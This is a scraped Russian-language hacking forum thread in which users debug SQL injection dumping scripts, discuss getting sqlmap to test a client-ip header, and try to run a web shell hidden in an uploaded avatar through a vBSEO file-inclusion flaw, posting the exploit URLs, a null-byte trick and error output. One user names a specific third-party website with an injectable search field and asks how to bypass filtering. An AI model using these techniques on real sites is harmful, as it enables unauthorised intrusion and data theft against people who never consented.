01.06.2012, 06:58
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
winstrool,
ему надо, чтоб в хидерах.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Так? Не?
|
|
|
01.06.2012, 15:01
|
|
Новичок
Регистрация: 03.12.2008
Сообщений: 5
С нами:
9176819
Репутация:
1
|
|
спасибо Ereee,winstrool за предоставленные скрипты
вариант Ereee дампит пустые строчки,мб ошибка в... ?
Код:
preg_match("#|||(.*)|||#", $source, $data);
Сообщение от xcedz
чего бросать то
. Юзаем sqlmap
очень хотелось бы sqlmap'ом,удобная тулза...но как я ни старался,проверял при level=5 и risk=3,указывал параметр "client-ip",добавлял --headers="client-ip: *" - sqlmap не находил скулю...он проверяет куки,юзер-агент,реферер,хост,но не client-ip...погуглил,похоже что поддержки иньекций в других хэдерах ещё нет( |
|
|
|
01.06.2012, 15:12
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Пробелы удалил? Раскрученную скулью поставил?
|
|
|
|
01.06.2012, 15:34
|
|
Новичок
Регистрация: 03.12.2008
Сообщений: 5
С нами:
9176819
Репутация:
1
|
|
Сообщение от Ereee
Пробелы удалил? Раскрученную скулью поставил?
да, limit $1,1 добавлял...пробывал .$1,1...в браузере проверял,всё норм...странно
|
|
|
|
01.06.2012, 17:09
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Тьфу! Имя переменной $i, а не $1 =\
|
|
|
|
01.06.2012, 17:43
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
Исправил код Ereee, теперь все работает проверял на себе
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
|
|
|
|
01.06.2012, 18:36
|
|
Новичок
Регистрация: 03.12.2008
Сообщений: 5
С нами:
9176819
Репутация:
1
|
|
Сообщение от cat1vo
Исправил код
Ereee
, теперь все работает проверял на себе
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
рабочий вариант,благодарю
Сообщение от Ereee
Тьфу! Имя переменной $i, а не $1 =\
я $i как раз и пробывал,всё равно чёт не дампил
|
|
|
|
02.06.2012, 00:44
|
|
Новичок
Регистрация: 30.05.2010
Сообщений: 10
С нами:
8395350
Репутация:
0
|
|
в vbseo есть LFI, вида:
Код:
vbseo.php?vbseoembedd=1&vbseourl=
Загрузил на форуме аватар(внутри шелл), пытаюсь заинклюдить:
Код:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif
Показывает просто напросто саму картинку
Попробывал с нулл байтом:
Код:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif%00.php
Выдает ошибки:
Код:
Warning: require(38290.gif) [function.require]: failed to open stream: No such file or directory .../public_html/forum/vbseo.php on line 1544
Fatal error: require() [function.require]: Failed opening required '38290.gif' (include_path='.:/usr/local/lib/php') iny .../public_html/forum/vbseo.php on line 1544
|
|
|
|
02.06.2012, 09:45
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
С нами:
9384053
Репутация:
303
|
|
Сообщение от Cherep
в vbseo есть LFI, вида:
Код:
vbseo.php?vbseoembedd=1&vbseourl=
Загрузил на форуме аватар(внутри шелл), пытаюсь заинклюдить:
Код:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif
Показывает просто напросто саму картинку
Попробывал с нулл байтом:
Код:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif%00.php
Выдает ошибки:
Код:
Warning: require(38290.gif) [function.require]: failed to open stream: No such file or directory .../public_html/forum/vbseo.php on line 1544
Fatal error: require() [function.require]: Failed opening required '38290.gif' (include_path='.:/usr/local/lib/php') iny .../public_html/forum/vbseo.php on line 1544
Учите матчасть Уважаемый прежде чем задавать подобные вопросы.
Во первых: Необходимо убедиться что после залития аватарки PHP код внутри файла сохранился в целостности. Собственно ,скорее всего, картинка сконвертилась или рекодилась в результате чего код `побился` и естественно не выполняется при выполнении остальных условий инклуда.
|
|
|
|
02.06.2012, 13:46
|
|
Новичок
Регистрация: 31.05.2012
Сообщений: 22
С нами:
7342166
Репутация:
0
|
|
Ребят, не знаю за что удалили мой пост, ведь я не просил никого ничего ломать - я попросил помочь мне, обьяснить почему не работают мои запросы, ведь я просто хочу разобраться. Впредь если мой пост удалят по несоответствию с правилами - напишите мне хотя бы в личку ответ. Спасибо заранее. На страничке http://footquest.poltava.ua/players в строке поиска скуль иньекция. Я пытался делать различные запросы но скорее всего передающиеся данные в запросе в скобочках. Как это обойти подскажите плс.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
